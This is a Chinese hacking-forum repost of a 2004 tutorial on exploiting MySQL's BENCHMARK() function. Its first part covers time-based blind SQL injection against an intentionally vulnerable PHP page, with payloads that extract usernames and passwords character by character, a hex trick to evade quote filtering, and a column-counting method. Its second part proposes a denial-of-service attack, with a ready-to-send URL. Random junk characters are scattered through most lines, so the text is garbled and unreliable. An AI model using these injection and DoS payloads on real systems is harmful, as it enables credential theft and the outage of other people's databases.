找回密码
 立即注册
欢迎中测联盟老会员回家,1997年注册的域名
查看: 2214|回复: 0
打印 上一主题 下一主题

MYSQL中BENCHMARK函数的利用

[复制链接]
跳转到指定楼层
楼主
发表于 2012-9-15 14:03:03 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
MYSQL中BENCHMARK函数的利用
6 e+ p' O. q% C本文作者:SuperHei
% V4 d6 h, ^; s( ?; g! p文章性质:原创
. j' i/ `3 G2 Y发布日期:2005-01-02/ l* o9 Z# a8 Z9 `+ N
完成日期:2004-07-09
6 e$ g" G  Q( E5 L  [第一部
; ^, x: e& W1 G- @0 `3 f% F+ \9 F' j! T7 ^* s- U
利用时间推延进行注射---BENCHMARK函数在注射中的利用
- W4 E* C+ F* J1 \( Y9 e# E( U) x+ s9 C; L) o9 B/ h# A
一.前言/思路# D5 z5 Y0 P' y/ ^1 q3 o

8 G: E( D6 \2 {* m% a3 B! z& a  如果你看了angel的《SQL Injection with MySQL》一文,你有会发现一般的mysql+php的注射都是通过返回错误信息,和union联合查询替换原来查询语句中的字段而直接输出敏感信息,但是有的时候,主机设置为不显示错误信息:display_errors = Off 而且有的代码中sql查询后只是简单的对查询结果进行判断,而不要求输出查询结果,我们用上面的办法注射将一无所获。我们可以采用时间推延来进行判断注射了。% i0 d1 _7 \" y0 p0 q

, f. g% G$ ?2 S: Y  本技术的主要思路:通过在构造的语句用加入执行时间推延的函数,如果我们提交的判断是正确的,那么mysql查询时间就出现推延,如果提交的判断是正确,将不会执行时间推延的函数,查询语句将不会出现推延。这样我们就可以进行判断注射。
0 K! }3 h/ q* E7 z" h5 T8 {5 i: Q: {# x- |
二.关于BENCHMARK函数# \5 g5 \4 ~- g

# }! _' _, A5 l* B6 F3 p% @  在MySQL参考手册里可以看到如下描叙: * c7 w. o, {, J4 l4 h
. o" Z0 J( H6 i" S  b

) B: F, N* q6 ?* `6 K: Z--------------------------------------------------------------------------------" }5 h+ _" I! d- H- T

8 w) Y- z. v0 ^! q9 `( QBENCHMARK(count,expr)
- f' B& o- C8 X5 {7 b5 a) lBENCHMARK()函数重复countTimes次执行表达式expr,它可以用于计时MySQL处理表达式有多快。结果值总是0。意欲用于mysql客户,它报告查询的执行时间。
" l5 \( K  J; k! V( J3 L6 ?mysql> select BENCHMARK(1000000,encode("hello","goodbye")); ! S- Y1 ?6 y' m/ f
+----------------------------------------------+
. C$ J) [0 y+ c| BENCHMARK(1000000,encode("hello","goodbye")) |
" T5 N  x3 K- S+----------------------------------------------+
; e' }  R* g; d% J| 0 |
* z  P3 N6 `1 e8 Y2 w; l2 P) v+----------------------------------------------+
, G6 s$ a! l7 ~  w% D2 U/ ]; j1 row in set (4.74 sec) 6 }1 {" z# k6 X+ U& I  r+ @

# e0 Y+ k% O$ e  b) Z0 J报告的时间是客户端的经过时间,不是在服务器端的CPU时间。执行BENCHMARK()若干次可能是明智的,并且注意服务器机器的负载有多重来解释结果。
1 H( z- {8 i  o  t6 p% S9 r6 d' M# y2 U
7 c, W5 G( a9 {6 Y" h
--------------------------------------------------------------------------------
! E# \6 y! O0 h1 r0 W
0 ~1 w5 D5 v& m5 b  只要我们把参数count 设置大点,那么那执行的时间就会变长。下面我们看看在mysql里执行的效果:
) J. L- ~8 k5 b3 a2 r' q
  O7 E# l, T* ~  y* t- Wmysql> select md5( 'test' );
+ S- `/ g5 ?! U$ `+----------------------------------+
+ G: e3 z) ~" `/ {1 M" n| md5( 'test' ) |
# K- s, s" r4 a9 F- N. P6 ~4 U' g+----------------------------------+
4 O3 M, f1 j6 {# u| 098f6bcd4621d373cade4e832627b4f6 |
8 [, ?7 M9 q: X+----------------------------------+
; J/ `& o4 O5 n, t1 row in set (0.00 sec) 〈-----------执行时间为0.00 sec
+ s5 t' \8 Q9 K" o+ o) d% L$ @1 P" {! p. G
mysql> select benchmark( 500000, md5( 'test' ) );
8 s3 c$ r8 D6 L* p- `; d+------------------------------------+
# U0 }# X7 f, }6 G& P2 w) c! ]4 r| benchmark( 500000, md5( 'test' ) ) |
, Z: u  @" {5 s) n+------------------------------------+ 4 D" @" ]$ L+ C
| 0 |
; `0 G# f9 p7 e3 M+------------------------------------+ - i# {7 G4 [5 L' |+ @* m) z5 S
1 row in set (6.55 sec) 〈------------执行时间为6.55 sec
# |& i. Q! L6 M# ] . ^2 ?. Z4 s  D, \! J" e* c

: T+ V+ ~, N$ [0 b, _1 e  由此可以看出使用benchmark执行500000次的时间明显比正常执行时间延长了。 , J) o/ a, k8 a5 Y9 X* M
8 K, \$ g0 B5 V' a9 I. `5 t
三.具体例子
+ B/ Q* B) {! |  z' z5 I; G: ?5 P, F
$ w9 }/ c6 U: }/ P  首先我们看个简单的php代码:' B2 ^/ B- a2 n5 ~% o
* n4 |8 o: n) k; f) E
< ?php
3 g- E7 ]. [+ H1 |6 A$servername = "localhost"; , l5 }. ~: T/ B5 w1 }3 w  W
$dbusername = "root"; 4 F9 d0 f8 Y" F5 I9 n8 H; p7 A6 P
$dbpassword = "";
$ g6 e* Y/ _- D' {" U2 u$dbname = "injection";
. j/ ?9 T# T$ \: o2 [1 f) \3 e
* ]4 i) L" g1 rmysql_connect($servername,$dbusername,$dbpassword) or die ("数据库连接失败");
, Q9 f4 e# M% l
% Y6 X" g5 _6 Y' q+ E$sql = "SELECT * FROM article WHERE articleid=$id"; ) G0 f" t- v/ r/ w( w5 I# c! q
$result = mysql_db_query($dbname,$sql);
8 }$ g/ G  Y$ ?6 T0 i2 q8 {3 l' a$row = mysql_fetch_array($result);
  o# G  j/ f+ v9 k5 d
* c" n$ g  t  F# h: G3 ]/ _4 qif (!$row)
6 L- g0 b) B* {5 t+ ~{ ' Q8 J: h2 L6 d6 ^$ X" n
exit;
( I) |1 |2 K5 E- a' X: g) X} 5 A; O$ n- k4 o& }5 |$ D; y
?>; g  R0 g  B' H% l
! ]- c9 Q# M3 \) I3 ]8 \

. U9 Y$ w7 z6 F- q! s8 E# u  数据库injection结构和内容如下:2 E+ H. L% d! M

9 Y- n2 b% d( H( U: h# 数据库 : `injection` ! h. ?8 \0 K8 h% D
# - b$ H/ Z3 m; R2 `& ~: _
! ]. g$ e- `3 K1 ]; u: V4 {- c
# --------------------------------------------------------
8 D0 f* E7 [6 G- x: f3 y
! m4 {9 x* J1 o: W# / u" s9 X' B" {- h, G" m9 V
# 表的结构 `article` 6 h, u8 |& D2 ^/ Y. Q  }5 s
# 0 K) @$ ^7 `/ r8 l6 Y5 H( n

4 P. T6 P5 ?$ f# D6 vCREATE TABLE `article` (
8 p1 {5 J3 I. q! O0 B) Q( Q& z`articleid` int(11) NOT NULL auto_increment,
0 |% E1 a; L/ g, ?`title` varchar(100) NOT NULL default '',
( x( x. y) M, t`content` text NOT NULL,
7 T6 }5 Z0 [% SPRIMARY KEY (`articleid`)
4 K) q5 G: r& o) TYPE=MyISAM AUTO_INCREMENT=3 ;
9 H! O5 a* ]# V
0 Z" J. b- K4 c5 g! S& q* m#
/ S2 F5 M  }8 J: l# 导出表中的数据 `article`
  w- {5 |2 R) C/ r, I# 2 O; A3 J( q9 k2 l( K

+ s# B5 {$ E% `7 c3 GINSERT INTO `article` VALUES (1, '我是一个不爱读书的孩子', '中国的教育制度真是他妈的落后!如果我当教育部长。我要把所有老师都解雇!操~'); ( V; L4 w1 ^8 F
INSERT INTO `article` VALUES (2, '我恨死你', '我恨死你了,你是什么东西啊'); / n- G: \& x" {: t
, J% o) D/ F: `8 U& n9 o) B
# --------------------------------------------------------
; }6 v- n* _1 D
/ k2 Z/ }, `* j  `9 A# # p- g2 ?: t* b9 {. J! {- k$ T6 v
# 表的结构 `user` 7 r; c4 W0 p; a- D7 s0 G
# 5 ?* c& |$ q# a
9 F: W! x& y: `, F$ z% H/ @
CREATE TABLE `user` ( ) C6 Q/ m2 Y7 o
`userid` int(11) NOT NULL auto_increment,
% t% t6 I6 N% [`username` varchar(20) NOT NULL default '',
& w) ^8 m4 j; u% N5 L`password` varchar(20) NOT NULL default '',
6 P! u% }( J6 o% P, z3 {' hPRIMARY KEY (`userid`) & J% E. T- U2 G' a
) TYPE=MyISAM AUTO_INCREMENT=3 ; / j1 ~1 \( L' }7 U, D7 S3 D

1 ?8 Y- a. d9 ?8 A# ) U2 A2 A& r% I
# 导出表中的数据 `user` 7 z: R; N6 I: N* F
# : F  M5 i5 a1 ]6 b- \4 X/ |% n1 t

$ e7 c' G! x' {# g! _9 x) c% d7 c) KINSERT INTO `user` VALUES (1, 'angel', 'mypass'); 9 y# F4 H  Z3 I1 K
INSERT INTO `user` VALUES (2, '4ngel', 'mypass2');
2 ^5 _, y& U' X) G- I8 h
3 G% J$ n7 ?" a2 A; s. _$ I. R. S) s& G( W
  代码只是对查询结果进行简单的判断是否存在,假设我们已经设置display_errors=Off。我们这里就没办法利用union select的替换直接输出敏感信息(ps:这里不是说我们不利用union,因为在mysql中不支持子查询)或通过错误消息返回不同来判断注射了。我们利用union联合查询插入BENCHMARK函数语句来进行判断注射:* N0 V9 i4 t2 h- C: a
4 `& j6 h: G7 g. v
id=1 union select 1,benchmark(500000,md5('test')),1 from user where userid=1 and ord(substring(username,1,1))=97 /*
( O0 U5 L& u, C' s4 @% K- m
7 n0 l9 a5 |+ Q+ F8 y/ K: F5 F. [; x& g* g
  上面语句可以猜userid为1的用户名的第一位字母的ascii码值是是否为97,如果是97,上面的查询将由于benchmark作用而延时。如果不为97,将不回出现延时,这样我们最终可以猜出管理员的用户名和密码了。 大家注意,这里有一个小技巧:在benchmark(500000,md5('test'))中我们使用了'号, 这样是很危险的,因为管理员随便设置下 就可以过滤使注射失败,我们这里test可以是用其他进制表示,如16进制。最终构造如下:. q4 y* A* R& t6 n5 e
. ~. c; A, J9 |5 ~$ p& a' p
http://127.0.0.1/test/test/show.php?id=1%20union%20select%201,benchmark(500000,md5(0x41)),1%20from%20user%20where%20userid=1%20and%20ord(substring(username,1,1))=97%20/*8 Z# a+ F# @6 c0 |$ c  e: ?

8 x) w4 q8 N8 Z% ]& u9 R  o; x% l: ~; W  G3 Y/ Z
  执行速度很慢,得到userid为1的用户名的第一位字母的ascii码值是是为97。 & D9 [- j) s! ]4 f) P

0 h$ M5 S$ `) t, N7 X+ P. k' z  注意:我们在使用union select事必须知道原来语句查询表里的字段数,以往我们是根据错误消息来判断,我们在union select 1,1,1我们不停的增加1 如果字段数正确将正常返回不会出现错误,而现在不可以使用这个方法了,那我们可以利用benchmark(),我们这样构造 union select benchmark(500000,md5(0x41)) 1,1 我们在增加1的,当字段数正确时就回执行benchmark()出现延时,这样我们就可以判断字段数了。
# g; R# Q; h8 e& C/ b9 f
; }5 [4 L  D, p0 ^1 O" Q第二部0 c& O7 H+ ?, m( ?( J

+ p, _3 b, [+ U6 N( h: v利用BENCHMARK函数进行ddos攻击
; l# P# x# h) g  @4 o6 L7 H; w: z* T- W8 I+ t, _) {- n
  其实思路很简单:在BENCHMARK(count,expr) 中 我们只要设置count 就是执行次数足够大的话,就可以造成dos攻击了,如果我们用代理或其他同时提交,就是ddos攻击,估计数据库很快就会挂了。不过前提还是要求可以注射。语句:) R5 {" z2 ?8 r! R1 o  S$ z
( y; `+ M2 l! P1 V1 o5 h7 [5 S% q6 Z
http://127.0.0.1/test/test/show.php?id=1%20union%20select%201,1,benchmark(99999999,md5(0x41))
- [* O% F( j  }$ G 5 s6 r, d# y. l  m( \
4 T; C+ q7 @( O
小结
* {/ p9 ^: @' w: Y1 Z" h0 o8 O/ c6 r, T5 y" ~
  本文主要思路来自http://www.ngssoftware.com/papers/HackproofingMySQL.pdf,其实关于利用时间差进行注射在mssql注射里早有应用,只是所利用的函数不同而已(见http://www.ngssoftware.com/papers/more_advanced_sql_injection.pdf)。关于mysql+php一般注射的可以参考angel的文章《SQL Injection with MySQL》。
1 @7 ~: E# Q; k9 R# y! G+ I% c4 d  ~ ! P4 ^% j9 t' O, x1 }# L  J
  
" A5 L% o: j) P4 u# n# z( s
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表